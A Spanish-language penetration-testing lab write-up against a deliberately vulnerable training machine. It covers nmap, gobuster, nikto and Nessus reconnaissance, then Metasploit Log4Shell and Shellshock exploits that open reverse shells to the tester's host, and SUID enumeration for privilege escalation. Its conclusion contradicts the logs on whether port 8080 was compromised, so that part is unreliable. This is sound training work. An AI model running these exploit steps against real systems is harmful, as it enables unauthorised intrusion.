



## TEAM CHALLENGE

### SPRING 10 – RETO OBIOBÁ

EXPLOTACIÓN VULNERABILIDADES

MAQUINA ODIOWA

# INTRODUCCIÓN

Para este ejercicio se han usado diversas aplicaciones y servicios para encontrar vulnerabilidades que permitan el acceso no autorizado al sistema, exponiendo únicamente los que han resultado positivos para conseguir tal fin, los cuales son:

## - 1.- EXPLORACIÓN IP DEL OBJETIVO



```
(kali) kali-[~]
$ nmap 10.0.2.1/24
Starting Nmap 7.94SVN ( https://nmap.org ) 24-08-26 20:36 CEST
Nmap scan report for 10.0.2.1
Host is up (0.00026s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE
53/tcp    open  domain

Nmap scan report for dvwa.local (10.0.2.4)
Host is up (0.00025s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
8080/tcp   open  http-proxy
8081/tcp   open  blackice-icecap

Nmap scan report for 10.0.2.19
Host is up (0.00025s latency).
All 1000 scanned ports on 10.0.2.19 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
```

- En este caso se ha usado la aplicación nmap, la cual es una herramienta potente de escáner con multitud opciones. En este caso simplemente se ha usado para buscar las IP activas en el rango de IPs 10.0.2.1/24, siendo la 10.0.2.4 la del objetivo.

## - 2.- EXPLORACIÓN WEB

### - A.-PUERTO 8080

- En primer lugar, se ha procedido con la aplicación Gobuster para obtener información del servidor web, no encontrando nada, solo un directorio denominado /error con da status 500, es decir es un error por parte del servidor. Además, se consulta en el navegador, dando como resultado, un error por defecto en la web:

```
(kali) kali-[/opt/nessus/var/nessus]
$ gobuster dir -u http://10.0.2.4:8080 -w /usr/share/dirb/wordlists/big.txt

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.0.2.4:8080
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/[ (Status: 400) [Size: 435]
/] (Status: 400) [Size: 435]
/error (Status: 500) [Size: 73]
/plain (Status: 400) [Size: 435]
/quote (Status: 400) [Size: 435]
Progress: 20469 / 20470 (100.00%)

=====
```

10.0.2.4:8080/error

Curso Certified Ethical... Guía de seguimiento p... curso ciber go

## Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Mon Sep 02 18:34:30 GMT 2024

There was an unexpected error (type=None, status=999).

- En segundo lugar, se consulta la aplicación Nikto, con la finalidad de encontrar vulnerabilidades que puedan ser explotadas, no encontrando ninguna aplicable directamente vía Metasploit. No obstante, si se muestran algunas como: el clickjacking, me todos “put” y “delete” permitidos, XSS (mediante XSSStrike) etc.

```
$ nikto -h http://10.0.2.4:8080
- Nikto v2.5.0

=====
+ Target IP: 10.0.2.4
+ Target Hostname: 10.0.2.4
+ Target Port: 8080
+ Start Time: 2024-09-02 21:37:14 (GMT2)
=====
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /7sV8qjFV.chl+: Uncommon header 'content-disposition' found, with contents: inline;filename=f.txt.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS.
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-09-02 21:37:40 (GMT2) (26 seconds)
=====
+ 1 host(s) tested
```

- En tercer lugar, se prueban la mayoría de exploits encontrados en Metaexploit para el servicio Nagios, con resultado infructuoso, por lo que se procede al uso de herramientas externas: NESSUS

CRITICAL

Apache Log4j Message Lookup Substitution RCE (Log4Shell) (Direct Check)

**Description**

A remote code execution vulnerability exists in Apache Log4j < 2.15.0 due to insufficient protections on message lookup substitutions when dealing with user controlled input. A remote, unauthenticated attacker can exploit this, via a web request to execute arbitrary code with the permission level of the running Java process.

Esta vulnerabilidad está asociada al CVE - 2021- 45046 para Apache log4j (biblioteca de registros de mensajes de Java), la cual en las anteriores actualizaciones no era completamente efectiva para ciertas configuraciones, por lo que podría ser explotada por actores maliciosos.

- En cuarto lugar, se procede a probar con el modulo auxiliar de Metaesloit que existe para este CVE, para ver si es vulnerable, siendo positiva:

```
msf6 auxiliary(scanner/http/log4shell_scanner) > run
[+] 10.0.2.4:8080 - Log4Shell found via / (header: X-API-Version) (os: Linux 5.4.0-193-generic unknown, architecture: amd64-64) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[*] Server stopped.
[*] Auxiliary module execution completed
```




- B.- PUERTO 8081
- En primer lugar, se ha usado la aplicación Gobuster, herramienta diseñada para descubrir directorios, archivos, subdominios y otros puntos de entrada ocultos en servidores web, al hacer solicitudes repetitivas fuerza bruta, basadas en listas de palabras.

```
(kali) kali-[-]
$ gobuster dir -u http://10.0.2.4:8081 -w /usr/share/dirb/wordlists/big.txt

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.0.2.4:8081
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/.htaccess (Status: 403) [Size: 287]
/.htpasswd (Status: 403) [Size: 287]
/cgi-bin/ (Status: 403) [Size: 286]
/index (Status: 200) [Size: 226]
/server-status (Status: 403) [Size: 291]
Progress: 20469 / 20470 (100.00%)
```

- En segundo lugar, se ha utilizado la aplicación Curl, herramienta CLI que permite la transferencia de datos desde o hacia un servidor, utilizando diversos protocolos (HTTP, HTTPS, FTP, entre otros), siendo muy versátil para realizar solicitudes web y obtener respuestas directamente desde la terminal.

```
(kali) kali-[-]
$ curl -v http://10.0.2.4:8081/
* Trying 10.0.2.4:8081...
* Connected to 10.0.2.4 (10.0.2.4) port 8081
> GET / HTTP/1.1
> Host: 10.0.2.4:8081
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 27 Aug 2024 05:26:07 GMT
< Server: Apache/2.2.22 (Debian)
< Last-Modified: Mon, 30 Oct 2017 22:46:35 GMT
< ETag: "4a0d-e2-55ccb691a48c0"
< Accept-Ranges: bytes
< Content-Length: 226
< Vary: Accept-Encoding
< Content-Type: text/html
<
<html>
  <head><title>Vulnerables | ShellShock</title></head>
  <body>
    <h1>This image is vulnerable to ShellShock, please exploit it</h1>
    <pre>The script is at /cgi-bin/vulnerable</pre>
  </body>
</html>
* Connection #0 to host 10.0.2.4 left intact
```



En este caso, en uno de los directorios ocultos y menos evidentes a usar desde la interfaz pública del sitio web, se ha hallado información o pista importante para una posterior explotación, indicando claramente que el script `"/cgi-bin/vulnerable"` presenta una vulnerabilidad conocida como "ShellShock".

El directorio `/cgi-bin/` es la ubicación estándar donde se ubican los scripts CGI - Common Gateway Interface (Interfaz de puerta de enlace común), los cuales se ejecutan en el servidor en respuesta a las peticiones de los clientes, devolviendo a éste el resultado del script solicitado. Esta mecánica de funcionamiento, a menudo, se convierte en vulnerabilidades que permiten la ejecución de código arbitrario mediante la inyección de scripts maliciosos, como puede ser la "ShellShock".

- En tercer lugar, se ha utilizado la aplicación Nikto, otra herramienta de escaneo de vulnerabilidades web de código abierto que ayuda a identificar fallos de seguridad en servidores web proporcionando una visión general de posibles puntos débiles (archivos y directorios sensibles, versiones antiguas no actualizadas, configuraciones inseguras y otras vulnerabilidades más comunes) que podrían ser explotados por atacantes malintencionados.

```
(kali) kali-[-]
$ nikto -h http://10.0.2.4:8081
- Nikto v2.5.0

-----
+ Target IP: 10.0.2.4
+ Target Hostname: 10.0.2.4
+ Target Port: 8081
+ Start Time: 2024-08-27 0 14:22

-----
+ Server: Apache/2.2.22 (Debian)
+ /: Server may leak inodes via ETags, header found with file /, inode: 18957, size: 226, mtime: Mon Oct 30 23:46:35 2017. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.html. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15, https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8909 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2024-08-27 07:32:07 (GMT2) (14 seconds)

-----
+ 1 host(s) tested
```

Como se puede ver, ha encontrado una posible vulnerabilidad con un CVE-2003-1418 relacionado con las etiquetas Etags (Entity Tags), las cuales se usan para identificar las versiones asignadas a un recurso en el servidor web. Cuando un cliente solicita un recurso, el servidor usa los Etags para determinar si la versión almacenada en la cache de ese recurso es la misma que está en el servidor, ayudando todo esto la sincronización del cliente y servidor y optimizando el uso de la caché.

Se ha realizado una búsqueda en Metaexploit del CVE, así como por la descripción o nombre del identificador, con resultado infructuoso. Además, el directorio `/index/` es vulnerable a ataques por fuerza bruta.

### 3.- FASE DE EXPLOTACIÓN

- Se ejecuta Metasploit, configurando un workspace específico para ir guardando los progresos. En primer lugar, se utiliza una herramienta nmap aportando datos importantes:
  - Puertos abiertos: 22(ssh), el cual presenta estas vulnerabilidades:

```
$ nmap -sV --script vuln 10.0.2.4

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 08:22 CEST
Nmap scan report for dwwa.local (10.0.2.4)
Host is up (0.0015s latency).
Not shown: 997 closed tcp ports (conn-ref
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linu
x; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8 https://vulners.
com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 EXPLOIT*
| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8 https://vulners.
com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 *EXPLOIT*
| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8 https://vulners.
com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC *EXPLOIT*
| 5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A 9.8 https://vulners.
com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A *EXPLOIT*
| CVE-2020-15778 7.8 https://vulners.com/cve/CVE-2020-15778
| SSV:92579 https://vulners.com/seebug/SSV:92579 *
EXPLOIT*
| PACKETSTORM:173661 7.5 https://vulners.com/packetstorm/
PACKETSTORM:173661 *EXPLOIT*
| F0979183-AE88-53B4-86CF-3AF0523F3807 7.5 https://vulners.
com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807 *EXPLOIT*
| CVE-2020-12 7.5 https://vulners.com/cve/CVE-2020-12062
| 1337DAY-ID-26576 7.5 https://vulners.com/zdt/1337DAY-
ID-26576 *EXPLOIT*
| CVE-2021-28041 7.1 https://vulners.com/cve/CVE-2021-28041
| CVE-2021-41617 7.0 https://vulners.com/cve/CVE-2021-41617
| C 2FD-1FA5-5342-B6EE-ODAF45EEFFE3 6.8 https://vulners.
com/githubexploit/C94132FD-1FA5-5342-B6EE-ODAF45EEFFE3 *EXPLOIT*
| 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.
com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT*
| CVE-2023-51385 6.5 https://vulners.com/cve/CVE-2023-51385
| CVE-2023-48795 5.9 https://vulners.com/cve/CVE-2023-48795
| CVE-2020-14145 5.9 https://vulners.com/cve/CVE-2020-14145
| CVE-2016-20 5.3 https://vulners.com/cve/CVE-2016-20012
| CVE-2021-36368 3.7 https://vulners.com/cve/CVE-2021-36368
| PACKETSTORM:140261 0.0 https://vulners.com/packetstorm/
```

- El puerto 8080 donde está el servicio Nagios NSCA (Nagios Service Check Acceptor), una popular herramienta de monitorización de redes y sistemas, permitiendo a los servidores y dispositivos enviar resultados de verificación pasivos (como estado de servicios o dispositivos) al servidor Nagios central, normalmente mediante conexión cifrada. Cuando NSCA está asociado con un puerto HTTP-Proxy, como el 8080, es posible que esté siendo utilizado para recibir y procesar informes de estado o resultados de monitorización desde dispositivos remotos a través de un proxy HTTP. No obstante, como ya se ha comentado, no ha encontrado forma de vulnerarlo por este medio, así que se ha recurrido a NESSUS, encontrando una vulnerabilidad explotable con CVE-2021-45046.
- Se ejecuta el exploit para esta vulnerabilidad CVE, consiguiendo acceso, utilizando como "stager" una "shell\_reverse", siendo finalmente positiva el acceso a la maquina objetivo por el puerto 8080 con usuario no privilegiado.

```
msf6 exploit(multi/http/log4shell_header_injection)> options
Module options (exploit/multi/http/log4shell_header_injection):
```

Name	Current Setting	Required	Description
HTTP_HEADER	no		The HTTP header to inject into
HTTP_METHOD	GET	yes	The HTTP method to use
LDIF_FILE	no		Directory LDIF file path
Proxies	no		A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.4	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	8080	yes	The target port (TCP)
SRVHOST	10.0.2.19	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	389	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The URI to scan
VHOST	no		HTTP server virtual host

```
msf6 exploit(multi/http/log4shell_header_injection)> run

[*] Started reverse TCP handler on 10.0.2.19:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using auxiliary/scanner/http/log4shell_scanner as check
[+] 10.0.2.4:8080 - Log4Shell found via / (header: X-Api-Version) (os: Linux 5.4.0-193-generic unknown,
itecture: amd64-64) (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections
[+] The target is vulnerable.
[+] Automatically identified vulnerable header: X-Api-Version
[*] Serving Java code on: http://10.0.2.19:8080/AizHLG3zNrj.jar
[*] 10.0.2.4 - Command shell session 4 closed.
[-] Command shell session 7 is not valid and will be closed
[*] 10.0.2.4 - Command shell session 7 closed.
[-] Command shell session 9 is not valid and will be closed
[*] 10.0.2.4 - Command shell session 9 closed.
[*] Command shell session 10 opened (10.0.2.19:4444 -> 10.0.2.4:51596) at 2024-09-02 21:12:40 +0200
```



- El puerto 8081, el cual es ejecutando un servidor apache 2.2, el cual es vulnerable a ShellShock, la cual afecta a versiones del intérprete de comandos Bash, presentes en muchos sistemas Unix y Linux, permitiendo al atacante ejecutar comandos arbitrarios en un sistema afectado.

```

[*]Workspace: obioba_reto_10
msf6 > services
Services
=====

host port proto name state info

msf6 > db_nmap 10.0.2.4 -sV -sC -p-
[*]Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) 4-08-26 20:41 CEST
[*]Nmap: Nmap scan report for dvwa.local (10.0.2.4)
[*]Nmap: Host is up (0.00038s latency).
[*]Nmap: Not shown: 65532 closed tcp ports (conn-refused)
[*]Nmap: PORT STATE SERVICE VERSION
[*]Nmap: 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
[*]Nmap: | ssh-hostkey:
[*]Nmap: | 3072 f9:b5:43:05:2f:9b:1d:0f:9a:f0:7f:63:f7:02:ba:fa (RSA)
[*]Nmap: | 256 ae:bc:0f:06:7a:a3:84:95:2f:9f:ae:43:64:d2:8c:7b (ECDSA)
[*]Nmap: | 256 3a:03:86:4a:c5:f6:40:1e:be:35:d2:38:6c:d0:e0:a7 (ED25519)
[*]Nmap: 8080/tcp open nagios-nsc Nagios NSCA
[*]Nmap: |_ http-title: Site doesn't have a title (application/json).
[*]Nmap: 8081/tcp open http Apache httpd 2.2.22 ((Debian))
[*]Nmap: |_ http-title: Vulnerables | ShellShock
[*]Nmap: |_ http-server-header: Apache/2.2.22 (Debian)
[*]Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*]Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
[*]Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds
msf6 >

```

- Se procede a la explotación del puerto 8081 con la vulnerabilidad crítica ShellShock mediante el uso de Metasploit, concretamente la numero 8:

```

msf6 > search apache cgi
Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/multi/http/apache_normalize_path_rce 2021-05-10 excellent Yes Apache 2.4.49/2.4.50
Traversal RCE
1 |_ target: Automatic (Dropper)
2 |_ target: Unix Command (In-Memory)
3 auxiliary/scanner/http/apache_normalize_path 2021-05-10 normal No Apache 2.4.49/2.4.50
Traversal RCE scanner
4 |_ action: CHECK_RCE Check for RCE (if mod
cgi is enabled).
5 |_ action: CHECK_TRAVERSAL Check for vulnerabili
ty.
6 |_ action: READ_FILE Read file on the remo
te server.
7 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10 excellent Yes Apache Tomcat CGI Serv
let enableCmdLineArguments Vulnerability
8 exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Yes Apache mod_cgi Bash E
nvironment Variable Code Injection (Shellshock)
9 |_ target: Linux x86
10 |_ target: Linux x86_64
11 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash E
nvironment Variable Injection (Shellshock) Scanner
12 auxiliary/dos/http/apache_mod_isapi 2010-03-05 normal No Apache mod_isapi Dang
ling Pointer
13 exploit/windows/http/php/apache_request_headers_bof 2012-05-08 normal No PHP apache_request_he
aders Function Buffer Overflow
14 exploit/multi/http/tomcat_jsp_upload_bypass 2017-10-03 excellent Yes Tomcat RCE via JSP Up
load Bypass
15 |_ target: Automatic
16 |_ target: Java Windows
17 |_ target: Java Linux
Interact with a module by name or index. For example info 17, use 17 or use exploit/multi/http/tomcat_jsp_upload_byp
After interacting with a module you can manually set a TARGET with set TARGET 'Java Linux'

```

- Ejecutamos el exploit cumplimentado los campos incluidos en “Options”, verificando que no dejamos ninguno sin rellenar con la opción “show missing”, resultando positivo, consiguiendo iniciar sesión con user sin privilegios a través del servicio /cgi-bin/vulnerable:

```
Active sessions
=====
Id Name Type Information Connection
---
1 shell x86/linux 10.0.2.19:4444 -> 10.0.2.4:47576 (10.0.2.4)

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exe) > run

[*] Started reverse TCP handler on 10.0.2.19:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (36 bytes) to 10.0.2.4
[*] Command shell session 2 opened (10.0.2.19:4444 -> 10.0.2.4:47578) at 2024-08-27 08:39:59 +0200

pwd
/usr/lib/cgi-bin
ls
vulnerable
```

- RESUMEN DE LAS EXPLOTACIONES PUERTO 8080 Y 8081:

```
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
-----
10.0.2.4 08:00:27:d1:6c:27 dvwa.local Linux 4.X server

msf6 exploit(multi/http/log4shell_header_injection) > services
Services
=====

host port proto name state info
-----
10.0.2.4 22 tcp ssh open OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 Ubuntu Linux; protocol 2.0
10.0.2.4 6667 tcp irc closed
10.0.2.4 8080 tcp nagios-nasca open Nagios NSCA
10.0.2.4 8081 tcp blackice-icecap open Apache httpd 2.2.22 (Debian)

msf6 exploit(multi/http/log4shell_header_injection) > vulns
Vulnerabilities
=====

Timestamp Host Name References
-----
2024-08-27 06:28:55 UTC 10.0.2.4 Apache mod_cgi Bash Environment Variab CVE-2014-6271,CVE-2014-6278,CWE-94,OSVD
le Code Injection (Shellshock) B-112004,EDB-34765,URL-https://access.r
edhat.com/articles/1200223,URL-https://
seclists.org/oss-sec/2014/q3/649
2024-09-02 18:58:09 UTC 10.0.2.4 Log4Shell HTTP Scanner CVE-2021-44228,CVE-2021-45046,URL-https
://attackerkb.com/topics/in9sPR2Bzt/cve
-2021-44228-log4shell/rapid7-analysis,U
RL-https://logging.apache.org/log4j/2.x
/security.html
```

- **4.- FASE DE POST- EXPLOTACIÓN.** - El siguiente paso consistiría en escalar privilegios en el sistema, encontrando varios archivos a través de los cuales conseguirlos, que son los SUID (Set User ID) y SGID (Set Group ID), los cuales presentan permisos especiales que pueden ser utilizados para permitir que un programa o script se ejecute con los privilegios del propietario del archivo o del grupo, independientemente de quién lo ejecute.

```
msf6 > search server-status
[-] No results from search
msf6 > sessions -i 1
[*] Starting interaction with 1...

find / -perm /6000 -type f 2>/dev/null
/sbin/unix_chkpwd
/bin/su
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/wall
/usr/bin/expiry
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/pt_chown

[!] 10.0.2.4 - Command shell session 30 closed.
pwd
/
find / -perm /6000 2>/dev/null
/usr/lib/jvm/java-1.8-openjdk/include
/usr/lib/jvm/java-1.8-openjdk/include/linux
/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/jli
/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server
/usr/lib/jvm/java-1.8-openjdk/jre/lib/security
/usr/lib/jvm/java-1.8-openjdk/jre/lib/security/policy
/usr/lib/jvm/java-1.8-openjdk/jre/lib/security/policy/unlimited
/usr/lib/jvm/java-1.8-openjdk/jre/lib/security/policy/limited
/usr/lib/jvm/java-1.8-openjdk/jre/lib/applet
/usr/lib/jvm/java-1.8-openjdk/jre/lib/images
/usr/lib/jvm/java-1.8-openjdk/jre/lib/images/cursors
/usr/lib/jvm/java-1.8-openjdk/jre/lib/management
/usr/lib/jvm/java-1.8-openjdk/jre/lib/cmm
/usr/lib/jvm/java-1.8-openjdk/lib/amd64/jli
```

Archivos bit (suid y sgid)

Puerto8081

Puerto 8080

- **5.- PUNTUACIÓN DE LA VULNERABILIDAD SEGÚN NIST:**



## CONCLUSIONES

En este ejercicio se han utilizado diversas herramientas y técnicas para identificar y explotar vulnerabilidades en un sistema objetivo, revelando, una exploración inicial, varios servicios potencialmente vulnerables, como SSH y un servidor web Apache que ejecuta Nagios NSCA.

La exploración web permitió descubrir una vulnerabilidad crítica de “*ShellShock*” en el puerto 8081, la cual fue explotada exitosamente para obtener acceso al sistema, identificando archivos SUID y SGID, que son cruciales para la escalada de privilegios, no siendo explotada esta última vía, al igual que con la vulnerabilidad encontrada en el puerto 8080 a través de Nessus, concretamente a la biblioteca de registros de java en Apache.

Sin embargo, los intentos de explotación en el puerto 8080 por el servicio Nagios, y el puerto 22 (SSH) no resultaron exitosos, debido a la inviabilidad de las vulnerabilidades identificadas, lo que pone de manifiesto la complejidad y los desafíos en la seguridad de sistemas y en pruebas de penetración.